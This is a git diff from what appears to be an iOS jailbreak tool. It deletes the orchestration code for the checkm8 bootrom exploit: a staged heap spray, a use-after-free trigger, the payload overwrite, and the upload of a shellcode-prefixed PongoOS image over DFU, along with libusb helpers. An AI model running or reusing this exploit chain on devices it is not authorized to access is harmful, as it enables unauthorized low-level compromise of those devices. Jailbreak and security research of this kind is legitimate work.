wait_usb_handle(handle); - serialNumber = get_usb_device_serial_number(handle); - if (serialNumber == NULL) { - LOG("Failed to get device serial number."); - close_usb_handle(handle); - return false; - } - unsigned totalTime = 0; - while (!dfu_serial_number_is_in_yolo_dfu(serialNumber)) { - wait_usb_handle(handle); - free(serialNumber); - serialNumber = get_usb_device_serial_number(handle); - close_usb_handle(handle); - if (serialNumber == NULL) { - LOG("Failed to get device serial number."); - return false; - } - sleep_ms(100); - totalTime += 100; - if (totalTime >= 15000) { - LOG("Device failed to enter Yolo DFU mode."); - return false; - } - } - close_usb_handle(handle); - return true; -} - -#include -#include "../gen/payloads/Pongo.h" -#include "../gen/payloads/lz4dec.h" -#include - -bool prepare_pongo(unsigned char **pongoBuf, size_t *size) -{ - size_t shellcodeSize, pongoSize; - void *shellcode, *pongo; - - // The shellcode that is appended to the beginning of the - // LZ4-compressed Pongo is actually an LZ4 decompressor - // that decompresses the Pongo image into memory. - // It is, in effect, a self-extracting payload. - - shellcodeSize = payloads_lz4dec_bin_len; - shellcode = malloc(shellcodeSize); - memcpy(shellcode, payloads_lz4dec_bin, shellcodeSize); - - pongoSize = payloads_Pongo_bin_len; - pongo = malloc(pongoSize); - memcpy(pongo, payloads_Pongo_bin, pongoSize); - - // Compress PongoOS - char *pongoCompressed = malloc(pongoSize); - LOG("Compressing PongoOS"); - pongoSize = LZ4_compress_HC(pongo, pongoCompressed, pongoSize, pongoSize, LZ4HC_CLEVEL_MAX); - if (pongoSize == 0) { - LOG("Failed to compress PongoOS"); - return false; - } - - // Add shellcode to PongoOS - LOG("Adding shellcode to PongoOS"); - void *tmp = malloc(pongoSize + shellcodeSize); - memcpy(tmp, shellcode, shellcodeSize); - memcpy(tmp + shellcodeSize, pongoCompressed, pongoSize); - free(pongo); - pongo = tmp; - pongoSize += shellcodeSize; - free(shellcode); - - // Write size of compressed Pongo into data for decompressor - uint32_t *pongoSizeInData = (uint32_t *)(pongo + 0x1fc); - *pongoSizeInData = pongoSize - shellcodeSize; - - // Update parameters - *pongoBuf = pongo; - *size = pongoSize; - - return true; -} - -bool send_pongo_to_yolo_dfu(usb_handle_t *handle) { - unsigned char *pongoData = NULL; - size_t pongoSize = 0; - if (!prepare_pongo(&pongoData, &pongoSize) || pongoData == NULL || pongoSize == 0) { - LOG("Failed to prepare PongoOS."); - return false; - } - bool ret = false; - if (wait_usb_handle(handle)) { - if (dfu_serial_number_is_in_yolo_dfu(get_usb_device_serial_number(handle))) { - size_t lengthSent = 0, size; - transfer_ret_t transferRet; - while (lengthSent < pongoSize) { - retry: - size = ((pongoSize - lengthSent) > 0x800) ? 0x800 : (pongoSize - lengthSent); - send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, pongoData + lengthSent, size, &transferRet); - if (transferRet.sz != size || transferRet.ret != USB_TRANSFER_OK) { - LOG("Retrying at size 0x%lx...", size); - sleep_ms(100); - goto retry; - } - lengthSent += size; - } - send_usb_control_request_no_data(handle, 0x21, DFU_CLRSTATUS, 0, 0, 0, NULL); - close_usb_handle(handle); - sleep_ms(100); - init_usb_handle(handle, 0x5AC, 0x4141); - wait_usb_handle(handle); - free(pongoData); - LOG("Device is now in PongoOS!"); - ret = true; - } - else { - free(pongoData); - LOG("Device is not in Yolo DFU mode!"); - } - } - return ret; -} diff --git a/src/m8/payload.h b/src/m8/payload.h deleted file mode 100644 index c280428..0000000 --- a/src/m8/payload.h +++ /dev/null @@ -1,40 +0,0 @@ -#ifndef PAYLOAD_H -#define PAYLOAD_H - -#include -#include -#include - -#ifndef __APPLE__ -# include "usb-libusb.h" -#endif - -#ifdef __cplusplus -extern "C" { -#endif - -struct DeviceConfiguration { - uint64_t cpid, largeLeak, overwritePadding, hole; -}; - -struct PayloadConfiguration { - uint64_t tlbi, nopGadget, retGadget, patchAddress, ttbr0Address, functionGadget, ttbr0Write, - memcpyAddress, aesCryptoCommand, bootTrampolineEnd, ttbr0VROMOffset, ttbr0SRAMOffset, - gUSBSerialNumber, dfu_handle_request_address, usb_core_do_transfer, dfu_handle_bus_reset_address, - insecureMemoryBase, handle_interface_request, usb_create_string_descriptor, usb_serial_number_string_descriptor; -}; - -bool checkm8_find_device_configuration_for_cpid(int cpid, struct DeviceConfiguration *config); -bool checkm8_find_payload_configuration_for_cpid(int cpid, struct PayloadConfiguration *config); -uint8_t *create_pongo_overwrite_for_device(struct PayloadConfiguration *payloadConfig, size_t *overwriteSize); -uint8_t *create_pongo_payload_for_device(struct DeviceConfiguration *deviceConfig, size_t *payloadSize); - -// TODO? move -bool wait_for_device_to_enter_yolo_dfu(usb_handle_t *handle); -bool send_pongo_to_yolo_dfu(usb_handle_t *handle); - -#ifdef __cplusplus -} -#endif - -#endif // PAYLOAD_H diff --git a/src/m8/run.cpp b/src/m8/run.cpp deleted file mode 100644 index bd69171..0000000 --- a/src/m8/run.cpp +++ /dev/null @@ -1,139 +0,0 @@ -#include "run.hpp" - -#include -#include -#include - -#include "../utils/log.h" - -#ifndef __APPLE__ -# include "usb-libusb.h" -#endif -#include "dfu.h" -#include "payload.h" -#include "checkm8.h" - -std::atomic_bool stopThreads{false}; - -bool checkm8(enum ExploitMode mode) { - usb_handle_t *handle = NULL; - - auto dfu_handle = std::make_unique(); - auto pongo_handle = std::make_unique(); - - init_usb_handle(dfu_handle.get(), 0x5AC, 0x1227); - init_usb_handle(pongo_handle.get(), 0x5AC, 0x4141); - - std::thread dfu_thread(wait_usb_handle, dfu_handle.get()); - std::thread pongo_thread(wait_usb_handle, pongo_handle.get()); - - dfu_thread.detach(); - pongo_thread.detach(); - - LOG("Waiting for device..."); - - for (;;) { - sleep_ms(200); - - if (dfu_handle->device) { - LOG("Found device in DFU mode!"); - handle = dfu_handle.get(); - break; - } else if (pongo_handle->device) { - LOG("Found device in Pongo!"); - handle = pongo_handle.get(); - break; - } - } - - stopThreads = true; - sleep_ms(200); - stopThreads = false; - - struct DeviceConfiguration deviceConfig; - struct PayloadConfiguration payloadConfig; - bool ret = false; - int stage = STAGE_PREPARE; - - while (stage != STAGE_DONE && wait_usb_handle(handle)) { - switch (stage) { - case STAGE_PREPARE: { - LOG("Preparing device..."); - - char *serialNumber = get_usb_device_serial_number(handle); - if (!serialNumber) goto finished; - - if (!checkm8_find_device_configuration_for_cpid(dfu_serial_number_get_cpid(serialNumber), &deviceConfig)) { goto finished; } - if (!checkm8_find_payload_configuration_for_cpid(dfu_serial_number_get_cpid(serialNumber), &payloadConfig)) { goto finished; } - if (dfu_serial_number_is_in_yolo_dfu(serialNumber)) { LOG("Found device in Yolo DFU mode!"); stage = STAGE_PONGO; goto yolodfu; } - if (device_serial_number_is_in_pongo_os(serialNumber)) { LOG("Found device in PongoOS!"); stage = STAGE_JAILBREAK; goto pongo; } - else if (device_serial_number_is_in_pongo_os(serialNumber)) { LOG("Found device in PongoOS!"); return 0; } - if (dfu_serial_number_is_pwned(serialNumber)) { LOG("Device is already pwned!"); return true; } - if (!dfu_serial_number_is_in_dfu_mode(serialNumber)) { LOG("Device is not in DFU mode!"); return false; } - - free(serialNumber); - stage = STAGE_RESET; - goto reset; - } - case STAGE_RESET: - reset: - LOG("Resetting device..."); - ret = checkm8_reset(handle); - LOG("Reset %s.", ret ? "succeeded" : "failed"); - stage = STAGE_HEAP_SPRAY; - case STAGE_HEAP_SPRAY: - LOG("Stage 1: heap spray..."); - ret = checkm8_heap_feng_shui(handle, &deviceConfig); - LOG("Heap spray %s.", ret ? "succeeded" : "failed"); - stage = STAGE_TRIGGER; - case STAGE_TRIGGER: - LOG("Stage 2: trigger use-after-free..."); - ret = checkm8_trigger_UaF(handle, &deviceConfig); - LOG("Trigger %s.", ret ? "succeeded" : "failed"); - stage = STAGE_PATCH; - case STAGE_PATCH: - LOG("Stage 3: payload execution..."); - ret = checkm8_send_overwrite_and_payload(handle, &deviceConfig, &payloadConfig); - LOG("Patching %s.", ret ? "succeeded" : "failed"); - if (!ret) goto finished; - close_usb_handle(handle); - sleep_ms(3000); - LOG("If your device is stuck on the Apple logo, please unplug and replug."); - ret = wait_for_device_to_enter_yolo_dfu(handle); - stage = ret ? STAGE_PONGO : STAGE_DONE; - case STAGE_PONGO: - yolodfu: - LOG("Sending PongoOS..."); - ret = send_pongo_to_yolo_dfu(handle); - stage = STAGE_JAILBREAK; - case STAGE_JAILBREAK: - pongo: - LOG("Jailbreaking..."); - break; - - case STAGE_DONE: - break; - } - - if (stage != STAGE_JAILBREAK && - stage != STAGE_DONE && - stage != STAGE_PONGO) - { - reset_usb_handle(handle); - } - - if (!ret && stage != STAGE_HEAP_SPRAY) - { - goto finished; - } - } - -finished: - if (ret) { - LOG("%s succeeded.", mode == MODE_PONGOOS ? "Booting PongoOS" : "Exploit"); - } else { - LOG("Exploit failed at stage %d!", stage == STAGE_PREPARE ? stage : stage - 1); - } - - return ret; -} diff --git a/src/m8/run.hpp b/src/m8/run.hpp deleted file mode 100644 index 7f6ddf4..0000000 --- a/src/m8/run.hpp +++ /dev/null @@ -1,22 +0,0 @@ -#ifndef RUN_H -#define RUN_H - -enum ExploitStage { - STAGE_PREPARE = 0, - STAGE_RESET = 1, - STAGE_HEAP_SPRAY = 2, - STAGE_TRIGGER = 3, - STAGE_PATCH = 4, - STAGE_PONGO = 5, - STAGE_JAILBREAK = 6, - STAGE_DONE = 7, -}; - -enum ExploitMode { - MODE_CHECKM8 = 0, - MODE_PONGOOS = 1, -}; - -bool checkm8(enum ExploitMode mode); - -#endif // RUN_H diff --git a/src/m8/usb-libusb.c b/src/m8/usb-libusb.c deleted file mode 100644 index b2b7622..0000000 --- a/src/m8/usb-libusb.c +++ /dev/null @@ -1,234 +0,0 @@ -#include "usb-libusb.h" - -#include "../utils/log.h" - -#include -#include -#include -#include -#include -#ifndef __WIN32 -# include -#endif - -#include - -void sleep_ms(unsigned ms) { - #ifdef __WIN32 - Sleep(ms); - #else - struct timespec ts; - ts.tv_sec = ms / 1000; - ts.tv_nsec = (ms % 1000) * 1000000L; - nanosleep(&ts, NULL); - #endif -} - -void close_usb_handle(usb_handle_t *handle) { - libusb_close(handle->device); - libusb_exit(NULL); -} - -void reset_usb_handle(usb_handle_t *handle) { - libusb_reset_device(handle->device); -} - -extern bool stopThreads; - -bool wait_usb_handle(usb_handle_t *handle) { - if (stopThreads) { - LOG("Thread stopped."); - return false; - } - if(libusb_init(NULL) == LIBUSB_SUCCESS) { - for(;;) { - if((handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid)) != NULL) { - if(libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS) { - return true; - } - libusb_close(handle->device); - } - sleep_ms(USB_TIMEOUT); - } - } - return false; -} - -bool wait_usb_handle_with_timeout(usb_handle_t *handle, unsigned timeout) { - unsigned totalTime = 0; - if(libusb_init(NULL) == LIBUSB_SUCCESS) { - for(;;) { - if((handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid)) != NULL) { - if(libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS) { - return true; - } - libusb_close(handle->device); - } - sleep_ms(USB_TIMEOUT); - totalTime += USB_TIMEOUT; - if (totalTime >= timeout) { - return false; - } - } - } - return false; -} - -void usb_async_callback(struct libusb_transfer *transfer) { - *(int *)transfer->user_data = 1; -} - -bool send_usb_control_request_no_timeout(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, transfer_ret_t *transferRet) { - int ret = libusb_control_transfer(handle->device, bmRequestType, bRequest, wValue, wIndex, pData, (uint16_t)wLength, 0); - - if(transferRet != NULL) { - if(ret >= 0) { - transferRet->sz = (uint32_t)ret; - transferRet->ret = USB_TRANSFER_OK; - } else if(ret == LIBUSB_ERROR_PIPE) { - transferRet->ret = USB_TRANSFER_STALL; - } else { - transferRet->ret = USB_TRANSFER_ERROR; - } - } - return true; -} - -bool send_usb_control_request(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, transfer_ret_t *transferRet) { - int ret = libusb_control_transfer(handle->device, bmRequestType, bRequest, wValue, wIndex, pData, (uint16_t)wLength, USB_TIMEOUT); - - if(transferRet != NULL) { - if(ret >= 0) { - LOG("ok? %d", ret); - transferRet->sz = (uint32_t)ret; - transferRet->ret = USB_TRANSFER_OK; - } else if(ret == LIBUSB_ERROR_PIPE) { - LOG("stalled? %d", ret); - transferRet->ret = USB_TRANSFER_STALL; - } else { - LOG("errr? %d", ret); - transferRet->ret = USB_TRANSFER_ERROR; - } - } - return true; -} - -bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, unsigned usbAbortTimeout, transfer_ret_t *transferRet) { - struct libusb_transfer *transfer = libusb_alloc_transfer(0); - struct timeval tv; - int completed = 0; - uint8_t *buf; - - if(transfer != NULL) { - if((buf = malloc(LIBUSB_CONTROL_SETUP_SIZE + wLength)) != NULL) { - if((bmRequestType & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_OUT) { - memcpy(buf + LIBUSB_CONTROL_SETUP_SIZE, pData, wLength); - } - libusb_fill_control_setup(buf, bmRequestType, bRequest, wValue, wIndex, (uint16_t)wLength); - libusb_fill_control_transfer(transfer, handle->device, buf, usb_async_callback, &completed, USB_TIMEOUT); - if(libusb_submit_transfer(transfer) == LIBUSB_SUCCESS) { - tv.tv_sec = usbAbortTimeout / 1000; - tv.tv_usec = (usbAbortTimeout % 1000) * 1000; - while(completed == 0 && libusb_handle_events_timeout_completed(NULL, &tv, &completed) == LIBUSB_SUCCESS) { - libusb_cancel_transfer(transfer); - } - if(completed != 0) { - if((bmRequestType & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_IN) { - memcpy(pData, libusb_control_transfer_get_data(transfer), transfer->actual_length); - } - if(transferRet != NULL) { - transferRet->sz = (uint32_t)transfer->actual_length; - if(transfer->status == LIBUSB_TRANSFER_COMPLETED) { - transferRet->ret = USB_TRANSFER_OK; - } else if(transfer->status == LIBUSB_TRANSFER_STALL) { - transferRet->ret = USB_TRANSFER_STALL; - } else { - transferRet->ret = USB_TRANSFER_ERROR; - } - } - } - } - free(buf); - } - libusb_free_transfer(transfer); - } - return completed != 0; -} - -void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) { - handle->vid = vid; - handle->pid = pid; - handle->device = NULL; -} - -bool send_usb_bulk_upload(usb_handle_t *handle, void *buffer, size_t length) { - int transferred; - int interfaceRet = libusb_claim_interface(handle->device, 0); - if (interfaceRet != LIBUSB_SUCCESS) { - LOG("Failed to claim interface"); - return -1; - } - int ret = libusb_bulk_transfer(handle->device, 0x2, buffer, length, &transferred, 100); - if (ret == LIBUSB_ERROR_PIPE) { - LOG("USB pipe error sending bulk upload"); - } else if (ret == LIBUSB_ERROR_TIMEOUT) { - LOG("USB timeout sending bulk upload"); - } - libusb_release_interface(handle->device, 0); - return transferred == length; -} - - -bool send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, size_t wLength, transfer_ret_t *transferRet) { - bool ret = false; - void *pData; - - if (wLength == 0) { - ret = send_usb_control_request(handle, bmRequestType, bRequest, wValue, wIndex, NULL, 0, transferRet); - } else if ((pData = malloc(wLength)) != NULL) { - memset(pData, '\0', wLength); - ret = send_usb_control_request(handle, bmRequestType, bRequest, wValue, wIndex, pData, wLength, transferRet); - free(pData); - } - return ret; -} - -bool send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, size_t wLength, unsigned usbAbortTimeout, transfer_ret_t *transferRet) { - bool ret = false; - void *pData; - - if (wLength == 0) { - ret = send_usb_control_request_async(handle, bmRequestType, bRequest, wValue, wIndex, NULL, 0, usbAbortTimeout, transferRet); - } else if ((pData = malloc(wLength)) != NULL) { - memset(pData, '\0', wLength); - ret = send_usb_control_request_async(handle, bmRequestType, bRequest, wValue, wIndex, pData, wLength, usbAbortTimeout, transferRet); - free(pData); - } - return ret; -} - -static struct { - uint8_t b_len, b_descriptor_type; - uint16_t bcd_usb; - uint8_t b_device_class, b_device_sub_class, b_device_protocol, b_max_packet_sz; - uint16_t id_vendor, id_product, bcd_device; - uint8_t i_manufacturer, i_product, i_serial_number, b_num_configurations; -} usb_device_descriptor; - -char *get_usb_device_serial_number(usb_handle_t *handle) { - transfer_ret_t transfer_ret; - uint8_t buf[UINT8_MAX]; - char *str = NULL; - size_t i, sz; - if (send_usb_control_request(handle, 0x80, 6, 1U << 8U, 0, &usb_device_descriptor, sizeof(usb_device_descriptor), &transfer_ret) - && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(usb_device_descriptor) - && send_usb_control_request(handle, 0x80, 6, (3U << 8U) | usb_device_descriptor.i_serial_number, 0x409, buf, sizeof(buf), &transfer_ret) - && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == buf[0] && (sz = buf[0] / 2) != 0 && (str = malloc(sz)) != NULL) { - for (i = 0; i < sz; ++i) { - str[i] = (char)buf[2 * (i + 1)]; - } - str[sz - 1] = '\0'; - } - return str; -} - diff --git a/src/m8/usb-libusb.h b/src/m8/usb-libusb.h deleted file mode 100644 index f4db0bc..0000000 --- a/src/m8/usb-libusb.h +++ /dev/null @@ -1,59 +0,0 @@ -#ifndef __APPLE__ - -#ifndef USBLIBUSB_H -#define USBLIBUSB_H - -#define USB_TIMEOUT 10 - -#include -#include -#include - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct { - uint16_t vid, pid; - struct libusb_device_handle *device; - int usb_interface; - struct libusb_context *context; -} usb_handle_t; - -enum usb_transfer_ret { - USB_TRANSFER_OK = 0, - USB_TRANSFER_ERROR = 1, - USB_TRANSFER_STALL = 2, -}; - -typedef struct { - enum usb_transfer_ret ret; - uint32_t sz; -} transfer_ret_t; - -void sleep_ms(unsigned ms); - -bool send_usb_control_request(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, transfer_ret_t *transferRet); -bool send_usb_control_request_no_timeout(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, transfer_ret_t *transferRet); -bool send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, size_t wLength, transfer_ret_t *transferRet); -bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, unsigned usbAbortTimeout, transfer_ret_t *transferRet); -bool send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, size_t wLength, unsigned usbAbortTimeout, transfer_ret_t *transferRet); -bool send_usb_bulk_upload(usb_handle_t *handle, void *buffer, size_t length); - -void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid); -bool wait_usb_handle(usb_handle_t *handle); -bool wait_usb_handle_with_timeout(usb_handle_t *handle, unsigned timeout); -void reset_usb_handle(usb_handle_t *handle); -void close_usb_handle(usb_handle_t *handle); - -char *get_usb_device_serial_number(usb_handle_t *handle); - -#ifdef __cplusplus -} -#endif - -#endif // USBLIBUSB_H - -#endif // __APPLE__ diff --git a/src/main.cpp b/src/main.cpp index cb1cfa9..4665f0b 100644 --- a/src/main.cpp +++ b/src/main.cpp @@ -9,7 +9,7 @@ # include #endif -#include "m8/run.hpp" +#include "checkm8/run.h" #include "utils/constants.h" #include "utils/log.h" @@ -169,11 +169,11 @@ int main(int argc, char* argv[], char* envp[]) { wxEntryCleanup(); return 0; } else { - return checkm8(MODE_PONGOOS); + return checkm8(); } #else - return checkm8(MODE_PONGOOS); + return checkm8(); #endif